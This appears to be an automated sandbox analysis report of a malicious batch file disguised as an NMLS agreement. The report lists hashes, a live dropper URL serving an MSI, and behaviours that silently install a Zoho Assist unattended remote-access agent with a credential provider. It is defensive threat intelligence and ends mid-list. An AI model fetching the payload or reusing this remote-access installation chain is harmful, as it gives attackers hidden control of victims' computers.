Analysis
- max time kernel
149s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
01/07/2026, 17:24
Static task
static1
Behavioral task
behavioral1
Sample
NMLSUpdatedAgreementJuly26.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
NMLSUpdatedAgreementJuly26.bat
Resource
win11ltsc2024-20260629-en
General
- Target NMLSUpdatedAgreementJuly26.bat
- Size 3KB
- Sample260701-vytdaabs5q
- SHA256 5c03166cc80e8f5771adf72ccb605a6b2069d057026a57e3be142dc0dece7a78
- MD5 5912386eeffda28b61f38821b3a60d94
- SHA1 c120d6a12dbec3f9e809d1cc7b08758ec6d559b0
- SHA512 0f0f753eb4c091b14f0d06ea114f9858b98e41c76b0415ddc220d937e99fcbd74fc57ae0321d5aa55a632ae8a5c53c8bd11607a81d92c68d090937a6c8f211a7
- TLSH T17771CD2DDE74FCD0037D729089652E9720D15B47DB760EB8DA0218EB2D29752DF2A39C
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
-
ps1
-
exe.dropper
https://pub-94bcdb2c0d5644a18f974d17ef3ea70e.r2.dev/ZA_Access_My_Department.msi
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 5684 powershell.exe 3 4556 msiexec.exe 4 4556 msiexec.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5684 powershell.exe - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 9 IoCs
pid Process 4952 ZADeployer.exe 1992 7z.exe 5552 ZohoURSService.exe 1312 ZohoURS.exe 5780 ZohoURS.exe 3960 ZA_Upgrader.exe 5136 ZohoURSService.exe 4920 ZohoURS.exe 6528 ZohoURS.exe - Loads dropped DLL 7 IoCs
pid Process 1992 7z.exe 5552 ZohoURSService.exe 5780 ZohoURS.exe 1312 ZohoURS.exe 5136 ZohoURSService.exe 4920 ZohoURS.exe 6528 ZohoURS.exe - Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe - Costura .NET executable packer 1 IoCs
Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.
resource yara_rule behavioral2/files/0x000c00000001c646-185.dat costura - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZA_Bulk_Deployment_Manager.exe 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\agent_ui.exe 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURSService.exe ZADeployer.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZMAgent.exe ZohoURSService.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\Language\AgentApplicationResources.properties 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\uems.ico 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\URSCredentialProvider32.dll 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZAErrorMonitor.exe 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoTray.exe 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURS.exe ZohoURSService.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\uems.ico 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZADeployer.exe msiexec.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\AssistSilentUninstall.iss 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ScreenSharingUtils.dll 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\VideoProcessor.dll 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZAService.exe 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\Tools 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\AssistLogo_transparent_48.ico 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Connect.exe 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\RemComm.dll 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\AssistLogo_transparent_48.ico 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Settings.conf 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\AgentTroubleshootingTool.exe 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\RTCUtil.dll 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZA_Upgrader.exe 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZA_Upgrader.exe 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\Language 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\wake_on_lan_settings.ps1 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ScreenSharingUtils.dll 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZADeployer.exe 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZAFileTransfer.exe 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting.7z msiexec.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ScriptLauncher.exe 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ScriptLauncher.exe 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ToolsIQ.exe 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\URSCredentialProvider32.dll 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\Tools\ZohoAssistAgent.iss 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ClientSocket.dll 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoTray.exe 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\autologon\URSCredentialProvider.dll ZohoURSService.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\AssistLogo_white_border_32.ico 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ClientSocket.dll 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Connect.exe 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\RemComm.dll 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ScreenCapturingModule.dll 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Toolsmanager.exe 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURS.exe ZADeployer.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\dctoolshardware.exe.config 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\AgentTroubleshootingTool.exe 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ImageProcessor.dll 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\VirtualMonitor.dll 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\VirtualMonitor.dll 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\dctoolshardware.exe 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURS.exe ZohoURSService.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\7z.dll msiexec.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\AssistLogo_white_border_32.ico 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\wake_on_lan_settings.ps1 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\HttpClient.dll 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\SessionAudit.exe 7z.exe File created C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZAAudioClient.exe 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZAAudioClient.exe 7z.exe File opened for modification C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZAService.exe 7z.exe - Drops file in Windows directory 14 IoCs
description ioc Process File opened for modification C:\Windows\Installer\{A0FEF036-409E-4F92-A33A-661CFB19A884}\_853F67D554F05449430E7E.exe msiexec.exe File created C:\Windows\Installer\e58c0a0.msi msiexec.exe File created C:\Windows\Installer\e58c09c.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\SystemTemp\~DFE284CB20CEAABA1F.TMP msiexec.exe File created C:\Windows\Installer\SourceHash{A0FEF036-409E-4F92-A33A-661CFB19A884} msiexec.exe File created C:\Windows\Installer\{A0FEF036-409E-4F92-A33A-661CFB19A884}\_853F67D554F05449430E7E.exe msiexec.exe File created C:\Windows\SystemTemp\~DFD1653AD9EBE4974E.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF4A6457420196E755.TMP msiexec.exe File opened for modification C:\Windows\Installer\e58c09c.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DF479B6EC9B2CA30BD.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIC6A6.tmp msiexec.exe - System Location Discovery: System Language Discovery 1 TTPs 9 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7z.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ZohoURSService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ZohoURS.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ZohoURS.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ZohoURS.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ZADeployer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ZohoURS.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ZA_Upgrader.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ZohoURSService.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA ZADeployer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs ZADeployer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs ZohoURSService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs ZohoURSService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs ZohoURSService.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates ZADeployer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs ZohoURSService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot ZohoURSService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates ZohoURSService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs ZADeployer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates ZohoURSService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA ZADeployer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs ZADeployer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust ZADeployer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs ZohoURSService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates ZohoURSService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates ZohoURSService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs ZohoURSService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs ZohoURSService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs ZohoURSService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs ZADeployer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs ZADeployer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs ZADeployer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs ZADeployer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs ZohoURS.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA ZohoURS.exe - Modifies registry class 28 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\Version = "3926196251" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\09EAD96FDDA80A241B279433C7FEE9B1\630FEF0AE90429F43AA366C1BF918A48 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A1D8C690-705E-40BA-9A89-F76A36B2E9CA}\InprocServer32\ = "C:\\Program Files (x86)\\ZohoMeeting\\UnAttended\\ZohoMeeting\\autologon\\URSCredentialProvider.dll" ZohoURSService.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A1D8C690-705E-40BA-9A89-F76A36B2E9CA}\InprocServer32\ThreadingModel = "Apartment" ZohoURSService.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\SourceList\PackageName = "__pkg_c470e6b4-cb7f-4d89-a017-0f1b2b8d465a.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\SourceList\Media\1 = ";" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\SourceList\LastUsedSource = "n;1;C:\\Windows\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A1D8C690-705E-40BA-9A89-F76A36B2E9CA}\ = "URSCredentialProvider.dll" ZohoURSService.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\09EAD96FDDA80A241B279433C7FEE9B1 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\630FEF0AE90429F43AA366C1BF918A48 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\ProductName = "Zoho Assist Unattended Agent" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\PackageCode = "E24622B45304C9B4186E36C3AF16DC2E" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\AuthorizedLUAApp = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\AdvertiseFlags = "388" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\ProductIcon = "C:\\Windows\\Installer\\{A0FEF036-409E-4F92-A33A-661CFB19A884}\\_853F67D554F05449430E7E.exe" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\SourceList\Net\1 = "C:\\Windows\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A1D8C690-705E-40BA-9A89-F76A36B2E9CA} ZohoURSService.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A1D8C690-705E-40BA-9A89-F76A36B2E9CA}\InprocServer32 ZohoURSService.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\630FEF0AE90429F43AA366C1BF918A48\DefaultFeature msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48 msiexec.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 32 IoCs
pid Process 5684 powershell.exe 5684 powershell.exe 4556 msiexec.exe 4556 msiexec.exe 4952 ZADeployer.exe 4952 ZADeployer.exe 4952 ZADeployer.exe 4952 ZADeployer.exe 4952 ZADeployer.exe 4952 ZADeployer.exe 4952 ZADeployer.exe 4952 ZADeployer.exe 4952 ZADeployer.exe 4952 ZADeployer.exe 5552 ZohoURSService.exe 5552 ZohoURSService.exe 5552 ZohoURSService.exe 5552 ZohoURSService.exe 5552 ZohoURSService.exe 5552 ZohoURSService.exe 5552 ZohoURSService.exe 5552 ZohoURSService.exe 5552 ZohoURSService.exe 5552 ZohoURSService.exe 5552 ZohoURSService.exe 5552 ZohoURSService.exe 5136 ZohoURSService.exe 5136 ZohoURSService.exe 5136 ZohoURSService.exe 5136 ZohoURSService.exe 5136 ZohoURSService.exe 5136 ZohoURSService.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5684 powershell.exe Token: SeShutdownPrivilege 1644 msiexec.exe Token: SeIncreaseQuotaPrivilege 1644 msiexec.exe Token: SeSecurityPrivilege 4556 msiexec.exe Token: SeCreateTokenPrivilege 1644 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1644 msiexec.exe Token: SeLockMemoryPrivilege 1644 msiexec.exe Token: SeIncreaseQuotaPrivilege 1644 msiexec.exe Token: SeMachineAccountPrivilege 1644 msiexec.exe Token: SeTcbPrivilege 1644 msiexec.exe Token: SeSecurityPrivilege 1644 msiexec.exe Token: SeTakeOwnershipPrivilege 1644 msiexec.exe Token: SeLoadDriverPrivilege 1644 msiexec.exe Token: SeSystemProfilePrivilege 1644 msiexec.exe Token: SeSystemtimePrivilege 1644 msiexec.exe Token: SeProfSingleProcessPrivilege 1644 msiexec.exe Token: SeIncBasePriorityPrivilege 1644 msiexec.exe Token: SeCreatePagefilePrivilege 1644 msiexec.exe Token: SeCreatePermanentPrivilege 1644 msiexec.exe Token: SeBackupPrivilege 1644 msiexec.exe Token: SeRestorePrivilege 1644 msiexec.exe Token: SeShutdownPrivilege 1644 msiexec.exe Token: SeDebugPrivilege 1644 msiexec.exe Token: SeAuditPrivilege 1644 msiexec.exe Token: SeSystemEnvironmentPrivilege 1644 msiexec.exe Token: SeChangeNotifyPrivilege 1644 msiexec.exe Token: SeRemoteShutdownPrivilege 1644 msiexec.exe Token: SeUndockPrivilege 1644 msiexec.exe Token: SeSyncAgentPrivilege 1644 msiexec.exe Token: SeEnableDelegationPrivilege 1644 msiexec.exe Token: SeManageVolumePrivilege 1644 msiexec.exe Token: SeImpersonatePrivilege 1644 msiexec.exe Token: SeCreateGlobalPrivilege 1644 msiexec.exe Token: SeRestorePrivilege 4556 msiexec.exe Token: SeTakeOwnershipPrivilege 4556 msiexec.exe Token: SeRestorePrivilege 4556 msiexec.exe Token: SeTakeOwnershipPrivilege 4556 msiexec.exe Token: SeRestorePrivilege 1992 7z.exe Token: 35 1992 7z.exe Token: SeSecurityPrivilege 1992 7z.exe Token: SeSecurityPrivilege 1992 7z.exe Token: SeRestorePrivilege 4556 msiexec.exe Token: SeTakeOwnershipPrivilege 4556 msiexec.exe Token: SeRestorePrivilege 4556 msiexec.exe Token: SeTakeOwnershipPrivilege 4556 msiexec.exe Token: SeRestorePrivilege 4556 msiexec.exe Token: SeTakeOwnershipPrivilege 4556 msiexec.exe Token: SeRestorePrivilege 4556 msiexec.exe Token: SeTakeOwnershipPrivilege 4556 msiexec.exe Token: SeRestorePrivilege 4556 msiexec.exe Token: SeTakeOwnershipPrivilege 4556 msiexec.exe Token: SeRestorePrivilege 4556 msiexec.exe Token: SeTakeOwnershipPrivilege 4556 msiexec.exe Token: SeRestorePrivilege 4556 msiexec.exe Token: SeTakeOwnershipPrivilege 4556 msiexec.exe Token: SeRestorePrivilege 4556 msiexec.exe Token: SeTakeOwnershipPrivilege 4556 msiexec.exe Token: SeRestorePrivilege 4556 msiexec.exe Token: SeTakeOwnershipPrivilege 4556 msiexec.exe Token: SeRestorePrivilege 4556 msiexec.exe Token: SeTakeOwnershipPrivilege 4556 msiexec.exe Token: SeRestorePrivilege 4556 msiexec.exe Token: SeTakeOwnershipPrivilege 4556 msiexec.exe Token: SeRestorePrivilege 4556 msiexec.exe - Suspicious use of FindShellTrayWindow 4 IoCs
